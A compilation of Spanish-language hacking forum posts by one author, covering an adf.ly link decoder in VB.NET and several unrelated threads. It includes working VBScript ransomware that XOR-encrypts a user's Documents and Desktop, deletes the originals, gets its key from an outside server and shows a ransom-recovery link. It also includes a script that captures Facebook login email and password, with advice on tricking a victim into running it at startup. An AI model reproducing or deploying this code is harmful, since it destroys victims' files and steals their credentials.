Proyecto:   Ghost Killer  Adf.ly

         Autor:   Flamer

Referencias: https://foro.elhacker.net/net/c_adfly_killer_05-t455465.0.html;msg2080233

             Por:  Doddy

    Lenguaje:  VB:Net 2010     

Descripción: Basado en el programa de Doddy, este también decodifica los enlaces adf.ly pero con la diferencia de que este tiene un modo de trabajo invisible sin la necesidad de estar llamando al programa cada rato este a párese cuando un enlace adf.ly asido copiado al porta papeles con la decodificación ya realizada.

Public Class Form1
    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
        Timer1.Interval = 3000
        Timer2.Interval = 1
        msg.Visible = False
    End Sub
 
 
    Function decodifica(l)
        On Error Resume Next
        Dim web As New Object
        Dim i, f, x As Integer
        Dim a, b, t, code As String
 
        Err.Number = 0
 
        web = CreateObject("Microsoft.XmlHttp")
        web.open("Get ", l, False)
        web.send()
        code = web.responseText
 
 
 
        i = InStr(code, "var ysmm")
        f = InStr(code, "var easyUrl") - i
        code = Mid(code, i, f)
        code = Replace(code, "var ysmm = '", "")
        code = Trim(Replace(code, "';", ""))
        a = ""
        b = ""
        If Err.Number <> 0 Then
            decodifica = "...:::Error En La Decodificacion:::..."
        Else
            For x = 1 To Len(code)
                t = (x - 1) Mod 2
                If t = 0 Then
                    a = a & Mid(code, x, 1)
                Else
                    b = Mid(code, x, 1) & b
                End If
            Next
 
 
            code = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(a & b))
            decodifica = code.Substring(2)
        End If
 
 
    End Function
 
    Private Sub Button1_Click(sender As System.Object, e As System.EventArgs) Handles Button1.Click
        If url.Text <> "" Then
            If InStr(url.Text, "adf.ly") Then
                Resul.Text = decodifica(url.Text)
            Else
                MsgBox("No Es Una url De adf.ly", , "Aviso De Error")
            End If
        Else
            MsgBox("El Campo Esta Vasio", , "Aviso De Error")
        End If
 
    End Sub
 
    Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click
        Clipboard.SetData("UnicodeText", Resul.Text)
        msg.Visible = True
        Timer1.Start()
    End Sub
 
    Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
        msg.Visible = False
        Timer1.Stop()
    End Sub
 
    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
        Me.Visible = False
        Timer2.Start()
 
    End Sub
 
    Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
        Dim t As String
 
        t = CStr(Clipboard.GetData("UnicodeText"))
 
        If url.Text <> t Then
            If InStr(t, "adf.ly") Then
                url.Text = t
                Resul.Text = decodifica(t)
                If Resul.Text <> "...:::Error En La Decodificacion:::..." Then
                    Timer2.Stop()
                    Me.Visible = True
                End If
 
            End If
        End If
    End Sub
 
    Private Sub Button4_Click(sender As System.Object, e As System.EventArgs) Handles Button4.Click
        Resul.Text = ""
        url.Text = ""
    End Sub
End Class
 
 

descarga codigo fuente mas Exe: http://www.mediafire.com/file/v02ew6doec1y2dj/Ghost_Killer_adf.ly.rar

Hola aquí unas de mis travesuras con vbscript que me encanta y es un código para obtener lo escrito en un campo de texto de x pagina como ejemplo puse la pagina de facebook aquí el código

set IE = CreateObject("InternetExplorer.Application")
 
IE.Navigate "https://www.facebook.com/"
IE.visible = true
Do While IE.ReadyState < 4
Loop
while IE.LocationURL = "https://www.facebook.com/"
   u = IE.document.GetElementById("email").value
   p = IE.document.GetElementById("pass").value
wend
msgbox u & "        " & p 
 
 

pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos  jajajaja

saludos Flamer y lastima que no se puede usar chrome en vbscript

usa algo creativo para que muerda el anzuelo y el mismo lo ejecute

salu2

Creo que eso era al principio se clasificaban los malwares como virus por que infectaban a los archivos para auto-ejecutarse y propagarse..

y los gusanos que no infectaban a los archivos sino que se multiplicaban por si solos y se valían del sistema para auto-ejecutarse...

pero como dije eso era al principio ahora en la actualidad es un revolvedero, se mezclaron los géneros, lo que si creo que se perdió son las bombas lógicas creo no se

saludos Flamer

Actualizado el código ya no hace uso del winrar y la desventaja sigue siendo que ocupa internet en la pc victima.

esa desventaja se pude arreglar pero no quiero que al analizar el ransomware vean la generación de la clave

saludos Flamer y me falta una encriptacion asimetrica mientras sera via http

hola amigos tengo este codigo en vbscript

x = (255^11) 
x = x - ((fix(x/5767))*5767)
msgbox x
 

el resultado deberia de ser 3960 pero en ves de eso me imprime 0 en el msgbox

anterior mente usaba el comando mod en la segunda linea pero me resultaba error así que use esa formula

y si en la primera linea remplazo el 11 por el 7 si me imprime el resultado correcto, pero yo quiero manejar números mas grandes que el 7 y el 11, y mi pregunta es si se puede en vbscript

saludos flamer

si les soy sincero no me creerían....el primero se me hizo el mas fácil jajajaja y al segundo no le encontraba ya que no me acordaba de la numeración octal casi nunca la e trabajado.

solo note los 30 y 31 que en hexadecimal son el 1 y el 0 con eso tuve para deducir que era binario

saludos

el primero decodificandolo esto me sale


voy por el segundo

en vbs hasta donde yo se no se pueden leer archivos binarios

y lo de la password no se por que en el servidor, ya que la clave es aleatoria

y si te refieres a eso de analizar los paquetes, si verán cuando envía la clave al servidor, pero si la recibe de el creo que también la verán no crees

saludos flamer

------------------EDITO------------
ya se leer binario en vbs, encontré un código en google, creo que corregiré el codigo

Hola amigos aqui con un pequeño código que se me ocurrió hace unos días como cuando no hay nada que hacer y solo te vienen ideas de como joder mas al mundo jajajaja

Y me bino ala mente de crear un código en VBScript(ya que me gusta mas por su dificultad de detección por los AV) tipo ransomware

bueno así que ni mas ni menos aquí el código

option explicit
dim shell,fso,document,f,password,desktop,id
 
set shell = createobject("wscript.shell")
set fso = createobject("scripting.filesystemobject")
 
document = shell.SpecialFolders("MyDocuments")
desktop = shell.SpecialFolders("Desktop")
 
set f = fso.getfolder(document)
id = f.drive.serialnumber 
 
password = Contrasena(id)
 
cifrar(document)
cifrar(desktop)
 
msgbox "Para Recuperar Tus Archivos Ingresa a La Direccion:" & vbcrlf & vbcrlf & "http://practicashacking.net23.net/ransomware/Recover.php" & vbcrlf & vbcrlf & "Tu ID Es: " & id,,"Programa Finalizado" 
 
function Contrasena(id)
  dim objhttp
  Set objhttp = createobject("Microsoft.XmlHttp")
 
  objhttp.open "POST","http://practicashacking.net23.net/ransomware/index.php",false
  objhttp.setRequestHeader "Content-type", "application/x-www-form-urlencoded"
  objhttp.send "id=" & id
 
  Contrasena = objhttp.responsetext
end function
 
function cifrar(ruta)
   dim carpeta,listfiles,listfolders,f
 
   set carpeta = fso.getfolder(ruta)
   set listfolders = carpeta.subfolders
   set listfiles = carpeta.files
 
   for each f in listfiles
      archivo(f.path)
   next 
 
   for each f in listfolders
      cifrar(f.path)
   next   
end function
 
function archivo(path)
   dim file,largo,i,f,b,p,n
 
   set file = fso.getfile(path)
 
   largo=file.size 
 
   set f = file.OpenAsTextStream()
   redim bytes(largo)
 
   n = 1 
 
   for i=0 to largo - 1
      if n = len(password) then 
	     n = 1
	  else
         n = n + 1	  
      end if	  
	  p = asc(mid(password,n,1))
      b = asc(f.read(1)) xor p
	  bytes(i) = chr(b)
   next 
 
   f.close  
 
   set f = fso.createtextfile(file.path & ".crypt") 
 
   for n = 0 to i - 1
      f.write(bytes(n))
   next
 
   f.close 
   file.delete
end function
 
 

saludos Flamer